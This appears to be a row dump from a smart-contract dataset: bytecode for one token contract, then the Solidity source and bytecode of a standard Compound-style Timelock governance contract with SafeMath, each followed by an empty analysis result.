906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a6357600080fd5b8060015410151515611a7457600080fd5b80600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515611ae357600080fd5b8060016000828254039250508190555080600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055507f702d5967f45f6513a38ffc42d6ba9bf230bd40e8f53b16363c7eb4fd2deb9a44816040518082815260200191505060405180910390a150565b6000600a60149054906101000a900460ff1615611ccd57600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e84846000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b1515611cab57600080fd5b6102c65a03f11515611cbc57600080fd5b505050604051805190509050611cda565b611cd78383612ae3565b90505b92915050565b60035481565b60066020528060005260406000206000915054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611d6157600080fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507fd7e9ec6e6ecd65492dce6bf513cd6867560d49544421d0783ddf06e76c24470c81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e9e57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515611f1557806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611f7557600080fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611fcd57600080fd5b611fd6826112b0565b90506000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550806001600082825403925050819055507f61e6e66b0d6339b2980aecc6ccc0039736791f0ccde9ed512e789a7fbdd698c68282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15050565b60006040600481016000369050101515156120b657600080fd5b6000831415801561214457506000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b15151561215057600080fd5b82600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a3600191505092915050565b60008060008060606004810160003690501015151561225f57600080fd5b600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205493506123076127106122f960035489612aa890919063ffffffff16565b612b6a90919063ffffffff16565b92506004548311156123195760045492505b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8410156123d5576123548685612b8590919063ffffffff16565b600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6123e88387612b8590919063ffffffff16565b915061243c86600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b8590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124d182600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b9e90919063ffffffff16565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600083111561267b5761259083600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b9e90919063ffffffff16565b600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019450505050509392505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600080600060406004810160003690501015151561275557600080fd5b61277e61271061277060035488612aa890919063ffffffff16565b612b6a90919063ffffffff16565b92506004548311156127905760045492505b6127a38386612b8590919063ffffffff16565b91506127f785600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b8590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061288c82600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b9e90919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000831115612a365761294b83600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b9e90919063ffffffff16565b600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35b8573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001935050505092915050565b6000806000841415612abd5760009150612adc565b8284029050828482811515612ace57fe5b04141515612ad857fe5b8091505b5092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000808284811515612b7857fe5b0490508091505092915050565b6000828211151515612b9357fe5b818303905092915050565b6000808284019050838110151515612bb257fe5b80915050929150505600a165627a7a72305820d6ae2771612eeceb72ed87ed36958ffecafa49b71bd8482dd2e8ed0ba36cd0a40029 | {"success": true, "error": null, "results": {}} | 198 |
0xfedc4dd5247b93feb41e899a09c44cfabec29cbc | pragma solidity 0.5.17;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Timelock {
using SafeMath for uint;
event NewAdmin(address indexed newAdmin);
event NewPendingAdmin(address indexed newPendingAdmin);
event NewDelay(uint indexed newDelay);
event CancelTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta);
event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta);
event QueueTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta);
uint public constant GRACE_PERIOD = 14 days;
uint public constant MINIMUM_DELAY = 2 days;
uint public constant MAXIMUM_DELAY = 30 days;
address public admin;
address public pendingAdmin;
uint public delay;
mapping (bytes32 => bool) public queuedTransactions;
constructor(address admin_, uint delay_) public {
require(delay_ >= MINIMUM_DELAY, "Timelock::constructor: Delay must exceed minimum delay.");
require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay.");
admin = admin_;
delay = delay_;
}
function() external payable { }
function setDelay(uint delay_) public {
require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock.");
require(delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay.");
require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay.");
delay = delay_;
emit NewDelay(delay);
}
function acceptAdmin() public {
require(msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin.");
admin = msg.sender;
pendingAdmin = address(0);
emit NewAdmin(admin);
}
function setPendingAdmin(address pendingAdmin_) public {
require(msg.sender == address(this), "Timelock::setPendingAdmin: Call must come from Timelock.");
pendingAdmin = pendingAdmin_;
emit NewPendingAdmin(pendingAdmin);
}
function queueTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public returns (bytes32) {
require(msg.sender == admin, "Timelock::queueTransaction: Call must come from admin.");
require(eta >= getBlockTimestamp().add(delay), "Timelock::queueTransaction: Estimated execution block must satisfy delay.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
queuedTransactions[txHash] = true;
emit QueueTransaction(txHash, target, value, signature, data, eta);
return txHash;
}
function cancelTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public {
require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
queuedTransactions[txHash] = false;
emit CancelTransaction(txHash, target, value, signature, data, eta);
}
function executeTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public payable returns (bytes memory) {
require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued.");
require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock.");
require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale.");
queuedTransactions[txHash] = false;
bytes memory callData;
if (bytes(signature).length == 0) {
callData = data;
} else {
callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data);
}
// solium-disable-next-line security/no-call-value
(bool success, bytes memory returnData) = target.call.value(value)(callData);
require(success, "Timelock::executeTransaction: Transaction execution reverted.");
emit ExecuteTransaction(txHash, target, value, signature, data, eta);
return returnData;
}
function getBlockTimestamp() internal view returns (uint) {
// solium-disable-next-line security/no-block-members
return block.timestamp;
}
} | 0x6080604052600436106100c25760003560e01c80636a42b8f81161007f578063c1a287e211610059578063c1a287e2146105dd578063e177246e146105f2578063f2b065371461061c578063f851a4401461065a576100c2565b80636a42b8f81461059e5780637d645fab146105b3578063b1b43ae5146105c8576100c2565b80630825f38f146100c45780630e18b68114610279578063267822471461028e5780633a66f901146102bf5780634dd18bf51461041e578063591fcdfe14610451575b005b610204600480360360a08110156100da57600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561010957600080fd5b82018360208201111561011b57600080fd5b803590602001918460018302840111600160201b8311171561013c57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561018e57600080fd5b8201836020820111156101a057600080fd5b803590602001918460018302840111600160201b831117156101c157600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550509135925061066f915050565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561023e578181015183820152602001610226565b50505050905090810190601f16801561026b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561028557600080fd5b506100c2610b88565b34801561029a57600080fd5b506102a3610c24565b604080516001600160a01b039092168252519081900360200190f35b3480156102cb57600080fd5b5061040c600480360360a08110156102e257600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561031157600080fd5b82018360208201111561032357600080fd5b803590602001918460018302840111600160201b8311171561034457600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561039657600080fd5b8201836020820111156103a857600080fd5b803590602001918460018302840111600160201b831117156103c957600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250610c33915050565b60408051918252519081900360200190f35b34801561042a57600080fd5b506100c26004803603602081101561044157600080fd5b50356001600160a01b0316610f44565b34801561045d57600080fd5b506100c2600480360360a081101561047457600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b8111156104a357600080fd5b8201836020820111156104b557600080fd5b803590602001918460018302840111600160201b831117156104d657600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561052857600080fd5b82018360208201111561053a57600080fd5b803590602001918460018302840111600160201b8311171561055b57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250610fd2915050565b3480156105aa57600080fd5b5061040c611288565b3480156105bf57600080fd5b5061040c61128e565b3480156105d457600080fd5b5061040c611295565b3480156105e957600080fd5b5061040c61129c565b3480156105fe57600080fd5b506100c26004803603602081101561061557600080fd5b50356112a3565b34801561062857600080fd5b506106466004803603602081101561063f57600080fd5b5035611398565b604080519115158252519081900360200190f35b34801561066657600080fd5b506102a36113ad565b6000546060906001600160a01b031633146106bb5760405162461bcd60e51b81526004018080602001828103825260388152602001806114226038913960400191505060405180910390fd5b6000868686868660405160200180866001600160a01b03166001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561072a578181015183820152602001610712565b50505050905090810190601f1680156107575780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b8381101561078a578181015183820152602001610772565b50505050905090810190601f1680156107b75780820380516001836020036101000a031916815260200191505b5060408051601f1981840301815291815281516020928301206000818152600390935291205490995060ff16975061082896505050505050505760405162461bcd60e51b815260040180806020018281038252603d815260200180611575603d913960400191505060405180910390fd5b826108316113bc565b101561086e5760405162461bcd60e51b81526004018080602001828103825260458152602001806114c46045913960600191505060405180910390fd5b610881836212750063ffffffff6113c016565b6108896113bc565b11156108c65760405162461bcd60e51b81526004018080602001828103825260338152602001806114916033913960400191505060405180910390fd5b6000818152600360205260409020805460ff1916905584516060906108ec575083610979565b85805190602001208560405160200180836001600160e01b0319166001600160e01b031916815260040182805190602001908083835b602083106109415780518252601f199092019160209182019101610922565b6001836020036101000a0380198251168184511680821785525050505050509050019250505060405160208183030381529060405290505b60006060896001600160a01b031689846040518082805190602001908083835b602083106109b85780518252601f199092019160209182019101610999565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610a1a576040519150601f19603f3d011682016040523d82523d6000602084013e610a1f565b606091505b509150915081610a605760405162461bcd60e51b815260040180806020018281038252603d815260200180611658603d913960400191505060405180910390fd5b896001600160a01b0316847fa560e3198060a2f10670c1ec5b403077ea6ae93ca8de1c32b451dc1a943cd6e78b8b8b8b604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610add578181015183820152602001610ac5565b50505050905090810190601f168015610b0a5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610b3d578181015183820152602001610b25565b50505050905090810190601f168015610b6a5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a39998505050505050505050565b6001546001600160a01b03163314610bd15760405162461bcd60e51b81526004018080602001828103825260388152602001806115b26038913960400191505060405180910390fd5b60008054336001600160a01b031991821617808355600180549092169091556040516001600160a01b03909116917f71614071b88dee5e0b2ae578a9dd7b2ebbe9ae832ba419dc0242cd065a290b6c91a2565b6001546001600160a01b031681565b600080546001600160a01b03163314610c7d5760405162461bcd60e51b81526004018080602001828103825260368152602001806116226036913960400191505060405180910390fd5b610c97600254610c8b6113bc565b9063ffffffff6113c016565b821015610cd55760405162461bcd60e51b81526004018080602001828103825260498152602001806116956049913960600191505060405180910390fd5b6000868686868660405160200180866001600160a01b03166001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610d44578181015183820152602001610d2c565b50505050905090810190601f168015610d715780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610da4578181015183820152602001610d8c565b50505050905090810190601f168015610dd15780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060016003600083815260200190815260200160002060006101000a81548160ff021916908315150217905550866001600160a01b0316817f76e2796dc3a81d57b0e8504b647febcbeeb5f4af818e164f11eef8131a6a763f88888888604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610e9c578181015183820152602001610e84565b50505050905090810190601f168015610ec95780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610efc578181015183820152602001610ee4565b50505050905090810190601f168015610f295780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a39695505050505050565b333014610f825760405162461bcd60e51b81526004018080602001828103825260388152602001806115ea6038913960400191505060405180910390fd5b600180546001600160a01b0319166001600160a01b0383811691909117918290556040519116907f69d78e38a01985fbb1462961809b4b2d65531bc93b2b94037f3334b82ca4a75690600090a250565b6000546001600160a01b0316331461101b5760405162461bcd60e51b815260040180806020018281038252603781526020018061145a6037913960400191505060405180910390fd5b6000858585858560405160200180866001600160a01b03166001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561108a578181015183820152602001611072565b50505050905090810190601f1680156110b75780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b838110156110ea5781810151838201526020016110d2565b50505050905090810190601f1680156111175780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060006003600083815260200190815260200160002060006101000a81548160ff021916908315150217905550856001600160a01b0316817f2fffc091a501fd91bfbff27141450d3acb40fb8e6d8382b243ec7a812a3aaf8787878787604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156111e25781810151838201526020016111ca565b50505050905090810190601f16801561120f5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b8381101561124257818101518382015260200161122a565b50505050905090810190601f16801561126f5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a3505050505050565b60025481565b62278d0081565b6202a30081565b6212750081565b3330146112e15760405162461bcd60e51b81526004018080602001828103825260318152602001806116de6031913960400191505060405180910390fd5b6202a3008110156113235760405162461bcd60e51b81526004018080602001828103825260348152602001806115096034913960400191505060405180910390fd5b62278d008111156113655760405162461bcd60e51b815260040180806020018281038252603881526020018061153d6038913960400191505060405180910390fd5b600281905560405181907f948b1f6a42ee138b7e34058ba85a37f716d55ff25ff05a763f15bed6a04c8d2c90600090a250565b60036020526000908152604090205460ff1681565b6000546001600160a01b031681565b4290565b60008282018381101561141a576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a63616e63656c5472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206973207374616c652e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774207375727061737365642074696d65206c6f636b2e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d75737420657863656564206d696e696d756d2064656c61792e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d757374206e6f7420657863656564206d6178696d756d2064656c61792e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774206265656e207175657565642e54696d656c6f636b3a3a61636365707441646d696e3a2043616c6c206d75737420636f6d652066726f6d2070656e64696e6741646d696e2e54696d656c6f636b3a3a73657450656e64696e6741646d696e3a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e20657865637574696f6e2072657665727465642e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a20457374696d6174656420657865637574696f6e20626c6f636b206d75737420736174697366792064656c61792e54696d656c6f636b3a3a73657444656c61793a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2ea265627a7a723158207d4eb9ef4f8c614004f0554b082a0ef4e6d12ac58147a172cf4a2b8931b8b79264736f6c63430005110032 | {"success": true, "error": null, "results": {}} | 199 |